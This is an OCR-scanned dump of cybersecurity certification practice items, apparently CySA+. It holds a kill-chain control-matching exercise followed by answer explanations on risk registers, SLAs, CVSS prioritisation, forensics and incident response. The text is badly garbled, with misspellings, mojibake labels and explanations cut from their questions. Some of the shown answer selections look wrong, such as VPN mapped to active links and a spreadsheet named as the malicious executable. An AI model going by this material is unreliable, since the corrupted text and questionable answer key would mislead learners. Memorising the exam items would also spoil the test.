Kill chain item

AV IEIIE "

Identify the following:

Phishing email

Active hinks

Sedect control

Firewall file type filter

MAL filtering
Restricted local user permissions
Email filtering
Disk-level encryption
Updated antivirus
Metwork segmentation
Plain text email format
VPN
1P blocklist
" Backups

Select control |

Sedect control

Firewall file type filter

:m Malware
MAC filtering R
Restricted local user permissions

Email filtering

Disk-level encryption

Updated antivirus

Metwork segmentation

Plain text ermail format

VPN

1P blocklist

Backups

Malware install

Select control o

Sedect control

Firewall file type filter
Heneypot

MFA

MAC filtering
Restricted local user permissions
Email filtering
Disk-level encryption
Updated antivirus
Metwork segmentation
Plain text email format
VPN

1P blockdist

Backups

Select control w

Firewvall file type filter

Heneypot

MFA

MAC filtering

Restricted local user permissions
Email filtering

Disk-level encryption

Updated antivirus

Metwork segmentation

Baim Fawt armnil frrmask

Malicious executable Select option

invoice.exe
resumel .docx
resumeZ.docx
payroll.xksx

Malicious 1P address | Select option

81.161.63.103
81.161.63.253

|171.25.193.20

| 185.220.101.194
192.168.2.1

| 171.25.193.25
10.1.1.238

A

v ‘

—

Date/time malware ’
entered organzation | SSiect option

|1 Dec 2019 11:24:16

1 Dec 2019 14:03:190

1D 9 14




Firewall file type filter

Honeypot

MFA

MAC filtering

Restncted local user permissions
Ermiail filterin
Disk-level

TN LTAL SURICRIE B Ry, 3 ns _
Malicous i m:mcum Miz :25:13
website access | Select control i Backups ;
Iy 2 e

Updated anti

Network seg Restricted local user permissions
Plain text ema Email filtering

VPN Disk-level encryption
IP blocklist Updated antivirus
Backups MNetwork segmentation

Plain text email format
S — VPN
Mabhware Select: chitia IP blocklist
download ‘ I Backups

Fireveall file type filter -

Honeypot

MFA

MAC filtering

Restricted local user permissions

Email filtering

Disk-level encryption

Updated antivirus

MNebwork segmentation

Plain text email format

VPN

1P blocklist

Backups

Compl A

Kill chain item Identify the following:

Select control |
Phishing email | Firewall fle type filter Malware install ‘Eelact contral v ‘ Malicious executable | Select option v
oneypot
MFA S
MACL filtering Firewall file type filter
_Restricted logal user permissions Honeypot
I Email filtering MFA
-Dliﬁ—!evermrwmn _MACfikering. _ _ _ _ _ _
Updated antivirus { Restrcted local user permissions |
Network segmentation Eﬁ“laTFEnrq
Flain text email format Disk-level encryption
WPN Updated antivirus
IP blockist MNetwork segmentation Malicious IP address | Select option v
r Plai il fi ’ =
ey o LS o
Active links [Select control w P Blocklist 181.161.63.103 |
Select control | Backups ﬁﬁﬁgf ;’3_
mgoﬁh P ; } 185.220.101.194
MFA Malware Select control o 192.168.2.1
T N, execution 171.25.193.2%




IR THLETING
Restricted local user permissions
Email filtering
Disk-level encryption
Updated antivirus
MNetwork segmentation
Plain text email format
VPN
IP blocklist
Backups

mﬁsﬂcm Select control

Firewall file type filter

Honeypaot

MFA

MAC filtering

Restricted local user permissions
Email filtering

Disk-level encryption

Updated antivirus

Plain text email format

VPN _
P blocklist |
Sekaps— —

?gmﬁd [ Selact control

— e e e

MAC filtering

Restricted local user permissions
Email filtering

Disk-level encryption

Updated antivirus

Network segmentation

Plain text email format

VEN

1P blocklist

Backups

Select control
Firevall file type filter
Honeypot
MFA
MAC filtering
Restricted local user permissions
Email filtering
_Disk-level encryptian
Updated antivirus |
NetWork s&gnisntaEtion
Plain text email format
VPN
IP blocklist
Backups

File encryption ‘ Select control v

Firewall file type filter
Honeypot
MFA
MAC filtering
Restricted local user permissions
Email filtering
Disk-level encryption
Updated antivirus
Network segmentation
Plain text email format
VPN

_IP blocist

| Backups |

|10.1.1.238

Date/time malware - ‘
entered organization | JSiect option ¥

1 Dec 2019 11:24:16

1 Dec 2019 14:03:19

1 Dec 2019 14:03:55
r36-Nov 2019-12:05:34

1 Dec 2019 14:35:30 |

1 DBc 2019'13:59:25

30 Nov 2019 12:25:13

i |

CompllA




Identify the following:

| : o
Phishing email | Email filtering v | Malware install | Restricted local user permissions Malicious executable | payroll.xlsx v

; P .
Activelinks | VPN iy Naware W v Malicious IP address |81.161.63.103 v
Malicous ; 9‘1 Date/time malware T ; |
website access | 1P DIOCklist v File encryption 6 entered organization |1 DEC201914:05:19 =
Malware Fi I file type fitter vi
download Pewall e type Hiter ‘

-
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IEfE: (EfEZRRLET)

A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence. A risk register is a document that records the
details of all the risks identified in a project or an organization, such as their sources, causes, consequences, probabilities, impacts, and mitigation strategies. A risk register can help the security
team to prioritize the risks based on their severity and urgency, and to monitor and control them throughout the project or the organization's lifecycle12. A vulnerability assessment, a penetration
test, and a compliance report are all methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for mapping, tracking, and mitigating them345.
References: What is a Risk Register? | Smartsheet, Risk Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the Difference?, What is a Penetration Test and
How Does It Work?, What is a Compliance Report? | Definition, Types, and Examples
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A. KPI

B. SLO

C. SLA

D. MOU

Ef#E: (EfEZRTLET)

An SLA, or Service Level Agreement, is a contract between a service provider and its customers that documents what services the provider will furnish and defines the service standards the
provider is obligated to meet. In the scenario described, the missed incident response deadline is a clear indicator of an SLA violation. An SLA usually outlines the metrics by which service is
measured as well as remedies or penalties should agreed-upon service levels not be achieved. Unlike a KPI (Key Performance Indicator) which is a quantifiable measure used to evaluate the
success of an organization, employee, etc., in meeting objectives for performance, or an MOU (Memorandum of Understanding) which is a formal agreement between two or more parties, an SLA

is focused on the performance and quality metrics applicable to the service provided.
SLO (Service Level Objective) is related and often part of an SLA, representing the specific measurable characteristics of the SLA such as availability, throughput, frequency, response time, or


https://www.jpnshiken.com/q/69047-6477590/
https://www.jpnshiken.com/q/69047-6477591/

quality.
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B. PCI DSS

C.OWASP kv 710

D. ISO 27001

IEfR: (EffZzRTLET)

The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS Benchmarks are a set of prescriptive configuration recommendations for various technologies,
including cloud providers, operating systems, network devices, and server software. They are developed by a global community of cybersecurity experts and help organizations protect their
systems against threats more confidently1 PCI DSS, OWASP Top Ten, and ISO 27001 are also important standards for information security, but they are not focused on providing specific
guidance for hardening cloud infrastructure. PCI DSS is a compliance scheme for payment card transactions, OWASP Top Ten is a list of common web application security risks, and ISO 27001 is
a framework for establishing and maintaining an information security management system. These standards may have some relevance for cloud security, but they are not as comprehensive and
detailed as CIS Benchmarks
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The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an incident, such as data loss,
financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be investigated based on their severity and urgency, and allocate the
appropriate resources and actions to contain and remediate them. Impact can also help the analyst communicate the status and progress of the incident to the stakeholders and customers, and
justify the decisions and recommendations made during the incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response,
but they are not the main focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to detect
is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage or spread of the incident34 .
References: Incident Response:

Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and
Mean Time to Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident Response]
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https://www.jpnshiken.com/q/69047-6477592/
https://www.jpnshiken.com/q/69047-6477593/

EfE:D(QAAV FEHEKT D)

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that
issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for
the organization to follow in the event of a breach.

The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official
References: https://www.

pcisecuritystandards.org/
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Communicating with staff about the official public communication plan is important to avoid unauthorized or inaccurate disclosure of information that could harm the organization's reputation,
security, or legal obligations. It also helps to ensure consistency and clarity of the messages delivered to the public and other stakeholders.
https://resources.sei.cmu.edu/asset_files/Handbook/2021 002 _001_651819.pdf
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Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has
created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to
sabotage the code repository.

References: The answer was based on the web search results from Bing, especially the following sources:

Cyber Kill Chain | Lockheed Martin, which states: "In the weaponization step, the adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more
vulnerabilities." The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which states: "In the weaponization stage, all of the attacker's preparatory work culminates in the creation of
malware to be used against an identified target." What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states: "Weaponization: The attacker creates a malicious payload that will
be delivered to the target."
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Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware
analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex
editors.
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EfE: (EfEZRRLET)

The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages:
reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying
the attacker's objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack
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EfE: (EfEZRRLET)

In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause.

When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of active vulnerability scans. Active
scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.
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The scenario indicates the threat is still active and is appearing across multiple VMs in the same broadcast domain (suggesting lateral movement or propagation within that Layer 2 segment).
Since quarantine of a single VM did not stop the threat, the appropriate next step is to broaden containment by isolating the affected subnet / network segment to prevent further spread.

The Sybex CySA+ Study Guide emphasizes that after identifying an incident in progress, responders should move into containment and that containment activities include segmentation and
isolation:

Exact extract (Sybex Study Guide):

"After identifying a potential incident in progress, responders should take immediate action to contain the damage... Potential containment activities include network segmentation, isolation, and
removal of affected systems." It also explains how segmentation (quarantine VLAN) is used to contain compromised systems and protect other systems:

Exact extract (Sybex Study Guide):

"During the early stages of an incident... [responders] built a separate virtual LAN (VLAN) to contain those systems... Putting the systems on this network segment provides some degree of
isolation..." Because the activity is occurring across the broadcast domain, isolating just one VM isn't enough; the team should continue containment by isolating the subnet/segment where the
issue is spreading (Option D).

Moving to eradication (Option C) before containment is effective risks continued spread and loss of control.
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Key Performance Indicators (KPIs) in incident response exercises help organizationsprioritize improvements by measuring response effectiveness, containment success, and recovery speed. This
ensures that resources are focused on the most critical areas for enhancement.

* Option A (Personal performance tracking)is more relevant to HR evaluations rather than cybersecurity operations.
* Option B (Describing incident resolution)is important but does notdefine future priorities.

* Option D (ldentifying tools to use)is useful but not the primary function of KPls.

Thus,C is the correct answer, asKPlIs help teams identify the most urgent areas for improvement.
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When prioritizing vulnerabilities, analysts consider theCVSS score, whether the system isinternet-facing, and ifsensitive datais involved. The primary goal is to mitigate the
mostexploitableandimpactfulrisks first.

Let's break down the key components:

* Attack Vector (AV): Whether the attack can be launched remotely (N = Network) or locally (L = Local).
* Attack Complexity (AC): The difficulty of executing the attack (L = Low, H = High).

* Privileges Required (PR): The level of access needed for exploitation (N = None, L = Low, H = High).
* User Interaction (Ul): Whether user interaction is required for the attack (N = No, R = Required).

* Scope (S): Whether the attack affects other systems (C = Changed, U = Unchanged).

* Confidentiality (C), Integrity (1), Availability (A): The impact level (H = High, L = Low, N = None).
Evaluating Each System:

* System 1 (CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

* Internet-facing #

* No sensitive data #

* High confidentiality and availability impact #

* Moderate risk due to requiring low privileges

* System 2 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

* Not internet-facing #

* No sensitive data #

* Lower priority since it's local-only

* System 3 (CVSS: AV:P/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L)

* Internet-facing #

* Contains sensitive data #

* But very low likelihood of exploit (requires physical access, high privileges, user interaction)

* Lower priority due to high attack complexity
* System 4 (CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:.L/A:H)

* Internet-facing #

mmOoOO

* No sensitive data #

* No privileges required for exploitation #

* High impact on confidentiality and availability #

* Most critical due to remote exploitability and system-wide scope

* System 5 (CVSS: AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N)

* Internet-facing #

* Contains sensitive data #

* But requires high privileges, high attack complexity, and user interaction
* Lower priority than System 4

* System 6 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:.L/A:H)
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* Not internet-facing #

* No sensitive data #

* Same as System 2 (low priority due to being local-only)
Final Decision: Patch System 4 First

System 4 is themost criticalbecause:

* It isinternet-facing(higher exposure).

* It has ahigh CVSS score.

* Itrequires no privileges(easy to exploit).

* It hassystem-wide scope impact(can affect other systems).
Thus, it should bepatched firstto minimize security risks.
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Audit settings provide visibility into user actions and system events. These are classified asdetective controlsbecause they enable the detection of anomalies, policy violations, or unauthorized
access by generating logs or alerts. They do not prevent actions (Preventive) or reverse harm (Corrective), nor do they provide policy guidance (Directive).

# Reference: CompTIA CySA+ All-in-One by Mya Heath, Chapter 13, "Vulnerability Handling and Response" - Control Types and Functions.

# Objective: 2.5 - Explain the importance of prioritization, remediation, and mitigation of vulnerabilities.
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A bit-level image is a forensic-grade copy that preserves all data on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence
collection, as it ensures that no potential evidence is missed.

Copying all access files (Option A) only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B) is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C) may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states.
Thus, the correct answer is D, as a bit-level image ensures forensic integrity and completeness of evidence.
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Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to detection signatures would result in the indicator firing on the majority of Windows devices. Svchost.exe is a
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common and legitimate system process used by Windows, and using its hash as an indicator of compromise (IOC) would generate numerous false positives, as it would match the legitimate
instances of svchost.exe running on all Windows systems.
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This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is
required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-
metrics/cvss
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Executive management and systems administration are the most likely stakeholders to receive a vulnerability scan report because they are responsible for overseeing the security posture and
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remediation efforts of the organization. Law enforcement, marketing, legal, and product owner are less likely to be involved in the vulnerability management process or need access to the scan
results. References: Cybersecurity Analyst+ - CompTIA, How To Write a Vulnerability Assessment Report | EC-Council, Driving Stakeholder Alignment in Vulnerability Management - LogicGate
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The Diamond Model of Intrusion Analysis is a framework that describes the relationship between four components of a cyberattack: adversary, capability, infrastructure, and victim. It helps
analysts understand the behavior and motivation of threat actors, as well as the tools and methods they use to compromise their targets12. References: Main Analytical Frameworks for Cyber
Threat Intelligence, section 4; Strategies, tools, and frameworks for building an effective threat intelligence team, section 3.
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Port 3389 is commonly used by Remote Desktop Protocol (RDP), which is a service that allows remote access to a system. A vulnerability on this port could allow an attacker to compromise the
web server or use it as a pivot point to access other systems. However, if the firewall blocks this port, the risk of exploitation is reduced.

References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 2: Software and Systems Security, page 67; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 3:
Software and Systems Security, page 103.
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When a patch cannot be deployed due to conflicting routine system upgrades, updating the risk register and requesting a change to the Service Level Agreement (SLA) is a practical approach. It
allows for re-evaluation of the risk and adjustment of the SLA to reflect the current situation.
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